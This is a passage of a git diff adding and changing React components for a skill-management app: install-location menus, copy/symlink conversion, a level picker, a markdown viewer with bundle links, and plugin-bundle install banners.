+ className="h-5 shrink-0 rounded border border-border/60 px-1 font-normal text-[10px] text-muted-foreground uppercase tracking-wide opacity-0 focus-visible:opacity-100 group-hover:opacity-100 hover:border-foreground/40 hover:text-foreground"
+ onClick={(e) => {
+ e.preventDefault();
+ e.stopPropagation();
+ toggles.setSource?.(editor);
+ }}
+ data-testid={`skill-set-source-${editor}`}
+ >
+ <Trans>make source</Trans>
+ </Button>
+ </Hint>
+ </>
+ ) : null}
+ {!busy && drifted.has(relOf(path)) ? (
+ // PASSIVE disclosure: something outside OK changed this path's
+ // form since OK last wrote it. No action — OK only writes on
+ // explicit clicks, and the chips always show disk truth.
+ <Hint
+ hint={t`Changed outside OK since it last wrote here — the state shown is what's on disk now`}
+ >
+ <ChangedOutsideBadge testId={`skill-drift-${editor}`} />
+ </Hint>
+ ) : null}
+ </span>
+ </DropdownMenuCheckboxItem>
+ </Hint>
+ );
+ })}
+ {/* KNOWN custom roots — any path this machine has placed skills under,
+ offered on every skill. Check = place here (in the skill's mode);
+ uncheck = remove (lossless-only; a hand-edited copy is refused
+ server-side). Icons: OK blob for `.ok`, plain folder otherwise —
+ brand marks stay first-party-only. */}
+ {customRootRows.map((r) => (
+ <Hint
+ key={r.root}
+ hint={
+ r.placed !== null
+ ? t`Installed at ${r.display} — click to remove`
+ : expectedMode === 'link'
+ ? t`Symlinks the skill to ${r.display}`
+ : t`Copies the skill to ${r.display}`
+ }
+ >
+ <DropdownMenuCheckboxItem
+ disabled={busy}
+ checked={r.placed !== null}
+ onCheckedChange={(on) => {
+ if (on === true && r.placed === null) {
+ if (!confirmReach(r.root)) return;
+ toggles.placeAt(r.root, expectedMode);
+ } else if (r.placed !== null) {
+ toggles.unplaceAt?.(r.placed.path);
+ }
+ }}
+ onSelect={(e) => e.preventDefault()}
+ className="group"
+ data-testid={`skill-custom-root-${r.root}`}
+ >
+ {r.root === '.agents/skills' ? (
+ <AgentBrandIcon host="agents" aria-hidden className="size-4" />
+ ) : (
+ <Folder aria-hidden className="size-4 text-muted-foreground" />
+ )}
+ <span className="flex min-w-0 flex-1 items-baseline gap-1.5">
+ <span className="min-w-0 truncate font-mono text-xs">{r.display}</span>
+ {subscribersOf(r.root).length > 0 ? (
+ <span
+ className="flex shrink-0 items-center gap-0.5"
+ data-testid={`skill-row-audience-custom-${r.root}`}
+ >
+ {subscribersOf(r.root).map((h) => audienceIcon(h, r.root))}
+ </span>
+ ) : null}
+ {!busy && r.placed !== null && drifted.has(r.placed.path) ? (
+ <Hint
+ hint={t`Changed outside OK since it last wrote here — the state shown is what's on disk now`}
+ >
+ <ChangedOutsideBadge testId={`skill-drift-custom-${r.root}`} />
+ </Hint>
+ ) : r.placed !== null ? (
+ // Same contract as the host rows: divergent form gets a convert
+ // tag, set-source rides the row on hover.
+ <>
+ {!busy && r.placed.mode !== expectedMode
+ ? convertRow(r.root, r.display, r.placed.mode)
+ : null}
+ <Hint hint={t`Make this the source — the skill's real folder moves here`}>
+ <Button
+ variant="ghost"
+ size="sm"
+ className="h-5 shrink-0 rounded border border-border/60 px-1 font-normal text-[10px] text-muted-foreground uppercase tracking-wide opacity-0 focus-visible:opacity-100 group-hover:opacity-100 hover:border-foreground/40 hover:text-foreground"
+ onClick={(e) => {
+ e.preventDefault();
+ e.stopPropagation();
+ toggles.setSource?.(r.root);
+ }}
+ data-testid={`skill-set-source-custom-${r.root}`}
+ >
+ <Trans>make source</Trans>
+ </Button>
+ </Hint>
+ </>
+ ) : null}
+ </span>
+ </DropdownMenuCheckboxItem>
+ </Hint>
+ ))}
+
+ {/* Skill-wide form change, deliberately last and quiet. The per-row tag
+ fixes ONE divergent location; this is the "make them all the same"
+ verb, and the only place the whole set changes at once. It explains
+ copies vs symlinks and names every path before writing — a silent
+ skill-wide reconvert is exactly what the old mode tabs got wrong.
+ Hidden when there is nothing besides the source to convert. */}
+ {convertible.length > 0 && toggles.convertLocations ? (
+ <div className="flex items-center gap-1 px-2 pt-1 pb-1.5">
+ <Button
+ variant="ghost"
+ size="sm"
+ className="h-auto whitespace-normal p-0 text-left font-normal text-[11px] text-muted-foreground leading-snug hover:bg-transparent hover:text-foreground"
+ onClick={(e) => {
+ e.preventDefault();
+ const to: 'copy' | 'link' = expectedMode === 'link' ? 'copy' : 'link';
+ const targets = convertible.filter((c) => c.mode !== to);
+ if (targets.length === 0) return;
+ const explainer =
+ to === 'copy'
+ ? t`A copy is a real folder of its own, and OK keeps it in step with the source: edit the skill here and every copy is refreshed. That stops the moment you hand-edit a copy outside OK — from then on it goes its own way and shows up as a separate skill.`
+ : t`A symlink is a pointer to the source folder rather than a folder of its own. Every location reads the exact same bytes, so nothing can drift, and a location stops working if the source is deleted.`;
+ const question =
+ to === 'copy'
+ ? t`Replace these symlinks with independent copies?`
+ : t`Replace these copies with symlinks to the source?`;
+ const paths = targets.map((c) => c.display).join('\n');
+ if (
+ !window.confirm(
+ `${explainer}\n\n${question}\n\n${paths}\n\n${t`The source folder itself does not move.`}`,
+ )
+ )
+ return;
+ // One sequential run, not one request per location: the ledger
+ // update behind each conversion is a read-modify-write of a single
+ // file, and the surfaces stay in "Working" until the last one lands.
+ onRunStart?.();
+ toggles.convertLocations?.(targets.map((c) => ({ target: c.target, mode: to })));
+ }}
+ disabled={busy}
+ data-testid="skill-convert-all"
+ >
+ {expectedMode === 'link' ? (
+ <Trans>Convert locations to copies</Trans>
+ ) : (
+ <Trans>Convert locations to symlinks</Trans>
+ )}
+ </Button>
+ {/* The difference between the two forms is the thing people actually
+ need explained, and it belongs BEFORE the click — the confirm
+ already repeats it, but by then you have committed to reading a
+ dialog. A `?` keeps that available without spending a line of the
+ menu on prose. */}
+ <Hint
+ hint={t`A copy is a real folder of its own, and OK keeps it in step with the source: edit the skill here and every copy is refreshed. That stops the moment you hand-edit a copy outside OK — from then on it goes its own way and shows up as a separate skill. A symlink is a pointer to the source instead, so nothing can drift, but a location stops working if the source is deleted.`}
+ >
+ <Button
+ variant="ghost"
+ size="sm"
+ aria-label={t`What is the difference between copies and symlinks?`}
+ className="size-4 shrink-0 rounded-full border border-border/60 p-0 font-normal text-[9px] text-muted-foreground hover:border-foreground/40 hover:bg-transparent hover:text-foreground"
+ onClick={(e) => e.preventDefault()}
+ data-testid="skill-convert-all-help"
+ >
+ ?
+ </Button>
+ </Hint>
+ </div>
+ ) : null}
+
+ <DropdownMenuSeparator />
+ {/* Folder-level wiring lives one level up from this menu: this menu places
+ THIS skill, that pane links whole FOLDERS (so two agents share every
+ skill) and registers custom roots. Named for what it manages rather
+ than "Settings", and the hint says where it goes — the row navigates
+ away, which a bare gear does not communicate. */}
+ <Hint
+ hint={t`Opens Settings → Skills, where you link a whole folder into another so both agents read the same skills, and add custom skill roots.`}
+ >
+ <DropdownMenuItem
+ onSelect={() => {
+ // Land on the pane that governs THIS skill's folders. A global skill's
+ // roots live under `~`, which the project pane doesn't manage at all,
+ // so sending it there opened settings that couldn't act on it.
+ window.location.hash =
+ skill?.scope === 'global' ? '#settings/user-skills' : '#settings/skills';
+ }}
+ >
+ <SettingsIcon aria-hidden />
+ <Trans>Manage skill folders</Trans>
+ </DropdownMenuItem>
+ </Hint>
+ </>
+ );
+}
diff --git a/packages/app/src/components/SkillLevelSelect.tsx b/packages/app/src/components/SkillLevelSelect.tsx
new file mode 100644
index 000000000..1eb4d6130
--- /dev/null
+++ b/packages/app/src/components/SkillLevelSelect.tsx
@@ -0,0 +1,59 @@
+import type { SkillScope } from '@inkeep/open-knowledge-core';
+import { Trans, useLingui } from '@lingui/react/macro';
+import {
+ Select,
+ SelectContent,
+ SelectGroup,
+ SelectItem,
+ SelectLabel,
+ SelectTrigger,
+ SelectValue,
+} from '@/components/ui/select';
+import { SKILL_SCOPE_ORDER, useSkillScopeLabels } from '@/lib/skill-scope';
+import { cn } from '@/lib/utils';
+
+/**
+ * A skill's level (scope) picker, rendered in the editor toolbar next to the
+ * install state (`SkillEditorActions`). Presentational only — picking a level
+ * calls `onRequestMove`; the staging/confirm/commit flow lives in
+ * `useSkillScopeMove` (shared with the narrow-width overflow submenu). The Select
+ * stays bound to `value`, so a cancelled pick leaves the shown level unchanged.
+ */
+export function SkillLevelSelect({
+ value,
+ onRequestMove,
+ disabled,
+ triggerClassName,
+}: {
+ value: SkillScope;
+ onRequestMove: (next: SkillScope) => void;
+ disabled?: boolean;
+ triggerClassName?: string;
+}) {
+ const { t } = useLingui();
+ const scopeLabels = useSkillScopeLabels();
+ return (
+ <Select value={value} onValueChange={(v) => onRequestMove(v as SkillScope)} disabled={disabled}>
+ <SelectTrigger
+ size="sm"
+ aria-label={t`Level`}
+ data-testid="skill-level-select"
+ className={cn('w-auto gap-1 text-xs font-mono uppercase', triggerClassName)}
+ >
+ <SelectValue />
+ </SelectTrigger>
+ <SelectContent align="end">
+ <SelectGroup>
+ <SelectLabel>
+ <Trans>Level</Trans>
+ </SelectLabel>
+ {SKILL_SCOPE_ORDER.map((s) => (
+ <SelectItem key={s} value={s}>
+ {scopeLabels[s]}
+ </SelectItem>
+ ))}
+ </SelectGroup>
+ </SelectContent>
+ </Select>
+ );
+}
diff --git a/packages/app/src/components/SkillMarkdownLoader.tsx b/packages/app/src/components/SkillMarkdownLoader.tsx
index 2e9fc9437..fa45eb440 100644
--- a/packages/app/src/components/SkillMarkdownLoader.tsx
+++ b/packages/app/src/components/SkillMarkdownLoader.tsx
@@ -7,7 +7,11 @@
* so loading spinners and error messages are identical — only the loaded branch
* differs (rendered markdown instead of CodeMirror source).
*/
-import type { SkillScope } from '@inkeep/open-knowledge-core';
+import {
+ type SkillScope,
+ skillFileLiveDocName,
+ skillLiveDocName,
+} from '@inkeep/open-knowledge-core';
import { SkillMarkdownViewer } from '@/components/SkillMarkdownViewer';
import { ViewerErrorPane, ViewerLoadingPane } from '@/components/ViewerStatusPane';
import { loadSkillFileText } from '@/lib/skills-api';
@@ -19,15 +23,18 @@ export function SkillMarkdownLoader({
scope,
name,
path,
+ host,
fileName,
}: {
scope: SkillScope;
name: string;
path: string;
+ /** Which same-named bundle this file belongs to; omitted = by-name default. */
+ host?: string;
fileName: string;
}) {
const fetchState = useViewerText({
- loadText: (signal) => loadSkillFileText({ scope, name, path }, signal),
+ loadText: (signal) => loadSkillFileText({ scope, name, path, host }, signal),
});
if (fetchState.status === 'loading') {
@@ -39,5 +46,14 @@ export function SkillMarkdownLoader({
<ViewerErrorPane fileName={fileName} dataAttr={DATA_ATTR} message={fetchState.message} />
);
}
- return <SkillMarkdownViewer fileName={fileName} text={fetchState.content} />;
+ return (
+ <SkillMarkdownViewer
+ fileName={fileName}
+ text={fetchState.content}
+ // Relative links in this reference resolve against its own bundle doc.
+ linkBaseDocName={skillFileLiveDocName(scope, name, path)}
+ // The skill identity that makes `references/…` bundle-path chips clickable.
+ skillPathLinkDocName={skillLiveDocName(scope, name)}
+ />
+ );
}
diff --git a/packages/app/src/components/SkillMarkdownViewer.tsx b/packages/app/src/components/SkillMarkdownViewer.tsx
index e9c43145d..0b6094de0 100644
--- a/packages/app/src/components/SkillMarkdownViewer.tsx
+++ b/packages/app/src/components/SkillMarkdownViewer.tsx
@@ -22,7 +22,9 @@ import { EditorContent, useEditor } from '@tiptap/react';
import { useLayoutEffect, useRef, useState } from 'react';
import { createPortal } from 'react-dom';
import { ReadonlyPropertyPanel } from '@/components/ReadonlyPropertyPanel';
+import type { InternalLink } from '@/editor/extensions/internal-link';
import { sharedExtensions } from '@/editor/extensions/shared.ts';
+import { SkillPathLinks } from '@/editor/extensions/skill-path-links';
import { getSharedMarkdownManager } from '@/editor/utils/md-singleton';
/**
@@ -31,13 +33,71 @@ import { getSharedMarkdownManager } from '@/editor/utils/md-singleton';
* `[text]` dep rebuilds the editor on content change; `useEditor` destroys the
* prior instance on teardown, so there is no manual lifecycle bookkeeping.
*/
-export function SkillMarkdownViewer({ fileName, text }: { fileName: string; text: string }) {
+export function SkillMarkdownViewer({
+ fileName,
+ text,
+ flow = false,
+ linkBaseDocName,
+ skillPathLinkDocName,
+ onBundlePathClick,
+}: {
+ fileName: string;
+ text: string;
+ /**
+ * Flow mode: render as an auto-height block inside a caller-owned scroll (so
+ * the full-page skill preview can stack properties above and the file list
+ * below the prose in ONE doc-width scroll), instead of a full-height,
+ * self-scrolling `<main>` pane. Default is the standalone pane.
+ */
+ flow?: boolean;
+ /**
+ * The live doc name of THIS bundle file (`skillFileLiveDocName(scope, name,
+ * rel)`), used only as the RELATIVE-link base so a `[…](references/x.md)` link
+ * in a skill's SKILL.md / reference resolves to the sibling bundle doc instead
+ * of a content-dir path that doesn't exist — otherwise valid skill references
+ * render as broken links (§8.3). Omit for previews with no resolved skill
+ * identity (an un-imported explore skill has no bundle docs to link to).
+ */
+ linkBaseDocName?: string;
+ /**
+ * The skill's SKILL doc name (`skillLiveDocName(scope, name)`). When set, the
+ * `references/…` / `scripts/…` bundle-path code chips become clickable — the
+ * same navigation the editable editor has — so a read-only skill (built-ins,
+ * scripts) can jump to its sibling bundle files instead of dead chips (
+ * part 2). `skillBundlePathNavHash` keeps built-ins + scripts read-only.
+ */
+ skillPathLinkDocName?: string;
+ /**
+ * Context override for a clicked bundle-path chip. The in-preview file list
+ * passes this to SWITCH its selected file instead of navigating away to a
+ * standalone skill-file view. Return `true` to mark the click handled.
+ */
+ onBundlePathClick?: (path: string) => boolean;
+}) {
// The markdown pipeline expects a frontmatter-free body (parse() contract);
// the YAML region is metadata, not prose, so it is not rendered here.
const body = stripFrontmatter(text).body;
+ // Reconfigure only the internal-link extension (`name === 'link'`) with this
+ // file's doc name so relative links resolve against the skill bundle dir; the
+ // rest of `sharedExtensions` is reused unchanged.
+ const baseExtensions = linkBaseDocName
+ ? sharedExtensions.map((ext) =>
+ ext.name === 'link'
+ ? (ext as typeof InternalLink).configure({ docName: linkBaseDocName })
+ : ext,
+ )
+ : sharedExtensions;
+ // Add the bundle-path link affordance (clickable `references/…` chips) when the
+ // skill identity is known. Read-only editor still fires ProseMirror handleClick.
+ const extensions = skillPathLinkDocName
+ ? [
+ ...baseExtensions,
+ SkillPathLinks.configure({ docName: skillPathLinkDocName, onBundlePathClick }),
+ ]
+ : baseExtensions;
const editor = useEditor(
{
- extensions: sharedExtensions,
+ extensions,
editable: false,
// `parseWithFallback`, not `parse`: a bundle `.md`/`.mdx` is untrusted
// on-disk content authored in any external editor. `parse()` throws on a
@@ -52,7 +112,7 @@ export function SkillMarkdownViewer({ fileName, text }: { fileName: string; text
},
},
},
- [text],
+ [text, linkBaseDocName, skillPathLinkDocName],
);
// Portal the EditorContent into a private target so TipTap's
@@ -78,34 +138,53 @@ export function SkillMarkdownViewer({ fileName, text }: { fileName: string; text
};
}, [portalTarget]);
+ // Mirror the editor's content-column grid so prose width + side rails match
+ // the real editor layout. In flow mode this is the whole surface (the caller
+ // owns the scroll); otherwise it lives inside a self-scrolling pane.
+ const grid = (
+ <div className="tiptap-editor">
+ <div ref={portalSlotRef} style={{ display: 'contents' }} />
+ </div>
+ );
return (
- <main
- className="flex h-full min-h-0 flex-col bg-background"
- aria-label={fileName}
- data-skill-markdown-viewer=""
- // This component only renders the loaded state (loading/error live in
- // `useViewerText`); the sibling `-state` attr mirrors the `TextViewer`
- // convention so tests can assert the surface the same way.
- data-skill-markdown-viewer-state="loaded"
- >
- <div className="editor-doc-scroll min-h-0 flex-1 overflow-auto">
- {/* Frontmatter shows as a read-only Properties panel above the body —
- the editable skill/document panel isn't reachable here (no CRDT
- provider), so the file's metadata would otherwise be invisible.
- `text` still carries the YAML region; the panel parses it and the
- editor below renders the frontmatter-stripped body. */}
- <ReadonlyPropertyPanel text={text} />
- {/* Mirror the editor's content-column grid so prose width + side rails
- match the real editor layout. */}
- <div className="tiptap-editor">
- <div ref={portalSlotRef} style={{ display: 'contents' }} />
- </div>
- </div>
+ <>
+ {flow ? (
+ <article
+ className="bg-background"
+ aria-label={fileName}
+ data-skill-markdown-viewer=""
+ data-skill-markdown-viewer-state="loaded"
+ >
+ {grid}
+ </article>
+ ) : (
+ <main
+ className="flex h-full min-h-0 flex-col bg-background"
+ aria-label={fileName}
+ data-skill-markdown-viewer=""
+ // This component only renders the loaded state (loading/error live in
+ // `useViewerText`); the sibling `-state` attr mirrors the `TextViewer`
+ // convention so tests can assert the surface the same way.
+ data-skill-markdown-viewer-state="loaded"
+ >
+ <div className="editor-doc-scroll min-h-0 flex-1 overflow-auto subtle-scrollbar scroll-fade-mask">
+ {/* Read-only frontmatter Properties panel: the editable panel isn't
+ reachable here (no CRDT provider), so metadata would be invisible. */}
+ <ReadonlyPropertyPanel text={text} />
+ {grid}
+ </div>
+ </main>
+ )}
{createPortal(
// biome-ignore lint/plugin/no-unportaled-editor-content: portaled site — view.dom parent is the exclusively-owned portalTarget per the H6 contract (PRECEDENTS.md #44)
- <EditorContent editor={editor} className="tiptap-editor-portal-content h-full" />,
+ <EditorContent
+ editor={editor}
+ // Fill the scroll pane in standalone mode; size to content in flow mode
+ // so stacked properties/files above and below aren't crushed.
+ className={flow ? 'tiptap-editor-portal-content' : 'tiptap-editor-portal-content h-full'}
+ />,
portalTarget,
)}
- </main>
+ </>
);
}
diff --git a/packages/app/src/components/SkillModeBanner.tsx b/packages/app/src/components/SkillModeBanner.tsx
new file mode 100644
index 000000000..554f1a09c
--- /dev/null
+++ b/packages/app/src/components/SkillModeBanner.tsx
@@ -0,0 +1,42 @@
+import type { ReactNode } from 'react';
+import { cn } from '@/lib/utils';
+
+/**
+ * Full-width, document-like banner strip for a skill tab that is NOT a plain
+ * managed doc: a read-only preview ({@link SkillBundlePreview}) or an editable
+ * unmanaged-skill buffer ({@link SkillEditBanner}). One sentence on the left
+ * (leading icon + caller prose that bolds the name / action), the caller's
+ * actions on the right. Shared so the two surfaces can't drift.
+ */
+export function SkillModeBanner({
+ icon,
+ children,
+ actions,
+ reserveRightGutter,
+}: {
+ icon: ReactNode;
+ /** The banner sentence (bold the name / next action inline). */
+ children: ReactNode;
+ actions?: ReactNode;
+ /** Reserve right-side room so the actions clear the right-dock reveal tab. */
+ reserveRightGutter?: boolean;
+}) {
+ return (
+ <div
+ className={cn(
+ 'flex shrink-0 items-center justify-between gap-3 border-b border-border bg-muted/35 px-3 py-2',
+ reserveRightGutter && 'pr-10',
+ )}
+ >
+ <div className="flex min-w-0 items-start gap-1.5 text-muted-foreground text-sm">
+ <span className="mt-0.5 shrink-0">{icon}</span>
+ {/* Two-line clamp instead of one-line truncate — the sentence names the
+ action and must not be cut mid-word. */}
+ <p className="line-clamp-2">{children}</p>
+ </div>
+ {actions ? (
+ <div className="flex shrink-0 flex-wrap items-center justify-end gap-2">{actions}</div>
+ ) : null}
+ </div>
+ );
+}
diff --git a/packages/app/src/components/SkillOriginInline.tsx b/packages/app/src/components/SkillOriginInline.tsx
new file mode 100644
index 000000000..2e68efbfc
--- /dev/null
+++ b/packages/app/src/components/SkillOriginInline.tsx
@@ -0,0 +1,198 @@
+import type { SkillScope } from '@inkeep/open-knowledge-core';
+import { Trans, useLingui } from '@lingui/react/macro';
+import { ArrowUpRight, RefreshCw, Undo2 } from 'lucide-react';
+import { useState } from 'react';
+import { SkillUpdateConflictDialog } from '@/components/SkillUpdateConflictDialog';
+import { Button } from '@/components/ui/button';
+import { Switch } from '@/components/ui/switch';
+import { Tooltip, TooltipContent, TooltipTrigger } from '@/components/ui/tooltip';
+import { useSkillOrigin } from '@/hooks/use-skill-origin';
+import { cn } from '@/lib/utils';
+
+/**
+ * Import provenance for the active skill tab, rendered inline on the LEFT of the
+ * editor toolbar (where a non-skill doc shows its breadcrumb). Reads as quiet
+ * metadata — where the skill came from (linked to its repository or website when
+ * resolvable) with an "Update from source" re-pull sitting beside it as its own
+ * control, not wrapped in a pill. The install state + level controls live in the
+ * right-side cluster; this is purely the source line. On a narrow pane the
+ * source *text* hides but the Update action stays put — it's an action, not
+ * metadata, so it stays reachable in the header rather than folding away.
+ * Renders nothing for a hand-authored skill (no origin).
+ */
+export function SkillOriginInline({ scope, name }: { scope: SkillScope; name: string }) {
+ const { t } = useLingui();
+ const {
+ origin,
+ github,
+ displaySource,
+ importedTitle,
+ canReimport,
+ updateAvailable,
+ modified,
+ autoUpdate,
+ gitTracked,
+ setAutoUpdate,
+ revertable,
+ reimport,
+ reimporting,
+ previewUpdate,
+ revert,
+ reverting,
+ } = useSkillOrigin({ scope, name });
+ const [conflict, setConflict] = useState<{ localBody: string; upstreamBody: string } | null>(
+ null,
+ );
+
+ // Update: a modified skill routes through the confirm-diff (preview upstream,
+ // then Take upstream / Keep mine). A clean skill applies directly — no clobber
+ // risk, so no gate.
+ async function onUpdate() {
+ if (modified) {
+ const preview = await previewUpdate();
+ if (preview) setConflict(preview);
+ return;
+ }
+ await reimport();
+ }
+
+ async function onTakeUpstream() {
+ await reimport();
+ setConflict(null);
+ }
+
+ if (!origin) return null;
+
+ return (
+ <div className="flex min-w-0 items-center gap-1.5 text-muted-foreground text-xs">
+ {/* Source text is the low-priority metadata — hidden on a narrow pane. */}
+ {github ? (
+ <a
+ href={github}
+ target="_blank"
+ rel="noreferrer"
+ title={importedTitle ?? undefined}
+ className="hidden min-w-0 max-w-48 items-center gap-1 hover:text-foreground @xl/toolbar:flex"
+ >
+ <span className="truncate">{displaySource}</span>
+ <ArrowUpRight className="size-3 shrink-0" aria-hidden />
+ </a>
+ ) : (
+ <span
+ title={importedTitle ?? undefined}
+ className="hidden min-w-0 max-w-48 truncate @xl/toolbar:inline"
+ >
+ {displaySource}
+ </span>
+ )}
+ {canReimport ? (
+ // The visible per-skill auto-update toggle (on by default). Sits with the
+ // provenance because it's a property of the upstream link; label hides on
+ // a narrow pane like the source text does.
+ <Tooltip>
+ <TooltipTrigger asChild>
+ <span className="flex shrink-0 items-center gap-1">
+ <label
+ htmlFor="skill-auto-update-switch"
+ className="hidden cursor-pointer @xl/toolbar:inline"
+ >
+ <Trans>Auto-update</Trans>
+ </label>
+ <Switch
+ id="skill-auto-update-switch"
+ checked={autoUpdate && !gitTracked}
+ disabled={gitTracked}
+ onCheckedChange={(checked) => void setAutoUpdate(checked === true)}
+ aria-label={t`Auto-update from source`}
+ className="scale-75"
+ />
+ </span>
+ </TooltipTrigger>
+ <TooltipContent side="bottom">
+ {gitTracked ? (
+ <Trans>
+ Tracked in git — updates flow through your repo (pull or CI), not auto-update
+ </Trans>
+ ) : autoUpdate ? (
+ <Trans>Updates from the source apply automatically (unless edited locally)</Trans>
+ ) : (
+ <Trans>Auto-update is off — use Update to pull new versions</Trans>
+ )}
+ </TooltipContent>
+ </Tooltip>
+ ) : null}
+ {modified ? (
+ <Tooltip>
+ <TooltipTrigger asChild>
+ <span className="shrink-0 rounded-sm bg-amber-500/15 px-1.5 py-0.5 font-medium text-[11px] text-amber-700 dark:text-amber-400">
+ <Trans>Modified</Trans>
+ </span>
+ </TooltipTrigger>
+ <TooltipContent side="bottom">
+ <Trans>Edited locally since it was installed</Trans>
+ </TooltipContent>
+ </Tooltip>
+ ) : null}
+ {modified && canReimport && revertable ? (
+ <Tooltip>
+ <Button
+ variant="ghost"
+ size="sm"
+ onClick={() => void revert()}
+ disabled={reverting || reimporting}
+ aria-label={t`Revert to installed version`}
+ className="shrink-0 gap-1 text-muted-foreground px-2 text-xs hover:text-foreground"
+ asChild
+ >
+ <TooltipTrigger>
+ <Undo2 className={cn('size-3', reverting && 'animate-spin')} aria-hidden />
+ <span className="hidden @xl/toolbar:inline">
+ {reverting ? <Trans>Reverting</Trans> : <Trans>Revert</Trans>}
+ </span>
+ </TooltipTrigger>
+ </Button>
+ <TooltipContent side="bottom">
+ <Trans>Discard local edits, restore the installed version</Trans>
+ </TooltipContent>
+ </Tooltip>
+ ) : null}
+ {canReimport && updateAvailable ? (
+ <Tooltip>
+ <Button
+ variant="ghost"
+ size="sm"
+ onClick={() => void onUpdate()}
+ disabled={reimporting || reverting}
+ aria-label={t`Update from source`}
+ className="shrink-0 gap-1 text-muted-foreground px-2 text-xs hover:text-foreground"
+ asChild
+ >
+ <TooltipTrigger>
+ <RefreshCw className={cn('size-3', reimporting && 'animate-spin')} aria-hidden />
+ {/* Label collapses to an icon-only button on a narrow pane. */}
+ <span className="hidden @xl/toolbar:inline">
+ {reimporting ? <Trans>Updating</Trans> : <Trans>Update</Trans>}
+ </span>
+ </TooltipTrigger>
+ </Button>
+ <TooltipContent side="bottom">
+ <Trans>Update from source</Trans>
+ </TooltipContent>
+ </Tooltip>
+ ) : null}
+ {conflict ? (
+ <SkillUpdateConflictDialog
+ open
+ onOpenChange={(o) => {
+ if (!o) setConflict(null);
+ }}
+ skillName={name}
+ localBody={conflict.localBody}
+ upstreamBody={conflict.upstreamBody}
+ applying={reimporting}
+ onTakeUpstream={() => void onTakeUpstream()}
+ />
+ ) : null}
+ </div>
+ );
+}
diff --git a/packages/app/src/components/SkillPluginBundleBanner.tsx b/packages/app/src/components/SkillPluginBundleBanner.tsx
new file mode 100644
index 000000000..12b119381
--- /dev/null
+++ b/packages/app/src/components/SkillPluginBundleBanner.tsx
@@ -0,0 +1,115 @@
+import type { SkillScope } from '@inkeep/open-knowledge-core';
+import { Trans, useLingui } from '@lingui/react/macro';
+import { ArrowUpRightIcon, PackageIcon } from 'lucide-react';
+import { useState } from 'react';
+import {
+ type SkillBundleDisclosure,
+ SkillPluginBundleDialog,
+} from '@/components/SkillPluginBundleDialog';
+import { Button } from '@/components/ui/button';
+
+/**
+ * Disclosure for a skills.sh skill whose SOURCE carries more than the one skill
+ * skills.sh showed. Two shapes reach here (normalized upstream into
+ * {@link SkillBundleDisclosure}): a cloned repo that declares a plugin manifest,
+ * and a website source whose `.well-known` index lists every skill on the
+ * origin. Either way the point is the same — the siblings exist, and they are
+ * how a skill's `/other-skill` references resolve.
+ *
+ * The action opens a PICKER, never a one-click "install all": the whole
+ * selection rides one server-side fetch, but which skills land is the user's
+ * call. A plugin's executable capabilities (hooks / commands / MCP) are named
+ * here, never installed and never run by OK.
+ */
+export function SkillPluginBundleBanner({
+ bundle,
+ source,
+ scope,
+ onInstalled,
+}: {
+ bundle: SkillBundleDisclosure;
+ /** The preview's import source — what the bulk import fetches from. */
+ source: string;
+ /** Level the picker opens on (the preview's own level). */
+ scope: SkillScope;
+ /** Skills that landed, requested name → on-disk name. The hosting preview tab
+ * needs this: the bulk import runs entirely inside this banner, so without it
+ * the tab keeps previewing a skill the user now owns. */
+ onInstalled?: (landed: ReadonlyMap<string, string>) => void;
+}) {
+ const { t } = useLingui();
+ const [picking, setPicking] = useState(false);
+
+ // Only surface when there's more than the one skill skills.sh showed.
+ if (bundle.names.length <= 1) return null;
+
+ const caps = [
+ bundle.capabilities?.hooks ? t`hooks` : null,
+ bundle.capabilities?.commands ? t`commands` : null,
+ bundle.capabilities?.mcp ? t`MCP servers` : null,
+ bundle.capabilities?.agents ? t`subagents` : null,
+ ].filter((c): c is string => c !== null);
+ const count = bundle.names.length;
+ const plugin = bundle.plugin;
+
+ return (
+ <div className="editor-content-aligned">
+ <div className="my-3 rounded-lg border border-border bg-muted/40 px-4 py-3">
+ <div className="flex items-start gap-3">
+ <PackageIcon className="mt-0.5 size-4 shrink-0 text-muted-foreground" aria-hidden />
+ <div className="min-w-0 flex-1">
+ <p className="font-medium text-sm">
+ {plugin ? (
+ <Trans>Part of the {plugin} plugin</Trans>
+ ) : (
+ // No manifest to name — the source itself is the grouping.
+ <Trans>{count} skills at this source</Trans>
+ )}
+ </p>
+ <p className="text-muted-foreground text-sm">
+ {caps.length > 0 ? (
+ <Trans>
+ This repo bundles {count} skills, plus {caps.join(', ')}. Install any of them from
+ the plugin.
+ </Trans>
+ ) : plugin ? (
+ <Trans>
+ This repo bundles {count} skills. Install any of them from the plugin.
+ </Trans>
+ ) : (
+ <Trans>
+ {source} publishes {count} skills. Install any of them together.
+ </Trans>
+ )}
+ </p>
+ <div className="mt-2.5 flex items-center gap-2">
+ <Button
+ variant="outline"
+ size="sm"
+ data-testid="plugin-bundle-pick"
+ onClick={() => setPicking(true)}
+ >
+ <Trans>Install skills</Trans>
+ </Button>
+ {bundle.repositoryUrl ? (
+ <Button variant="ghost" size="sm" asChild>
+ <a href={bundle.repositoryUrl} target="_blank" rel="noreferrer">
+ <Trans>View plugin</Trans>
+ <ArrowUpRightIcon className="size-3.5" />
+ </a>
+ </Button>
+ ) : null}
+ </div>
+ </div>
+ </div>
+ </div>
+ <SkillPluginBundleDialog
+ bundle={picking ? bundle : null}
+ source={source}
+ defaultScope={scope}
+ onInstalled={onInstalled}
+ onOpenChange={setPicking}
+ />
+ </div>
+ );
+}
diff --git a/packages/app/src/components/SkillPluginBundleDialog.tsx b/packages/app/src/components/SkillPluginBundleDialog.tsx
new file mode 100644
index 000000000..f6d4220b9
--- /dev/null
+++ b/packages/app/src/components/SkillPluginBundleDialog.tsx
@@ -0,0 +1,339 @@
+import {
+ EDITOR_LABELS,
+ type PluginBundleMetadata,
+ type SkillScope,
+ type SkillTargetEditor,
+} from '@inkeep/open-knowledge-core';
+
+import { Trans, useLingui } from '@lingui/react/macro';
+import { Loader2Icon } from 'lucide-react';
+import { useEffect, useId, useState } from 'react';
+import { toast } from 'sonner';
+import { INSTALL_EDITORS } from '@/components/SkillInstallMenu';
+import { Button } from '@/components/ui/button';
+import { Checkbox } from '@/components/ui/checkbox';
+import {
+ Dialog,
+ DialogBody,
+ DialogContent,
+ DialogDescription,
+ DialogFooter,
+ DialogHeader,
+ DialogTitle,
+} from '@/components/ui/dialog';
+import { Label } from '@/components/ui/label';
+import {
+ Select,
+ SelectContent,
+ SelectItem,
+ SelectTrigger,
+ SelectValue,
+} from '@/components/ui/select';
+import { useSkillTargets } from '@/hooks/use-skill-targets';
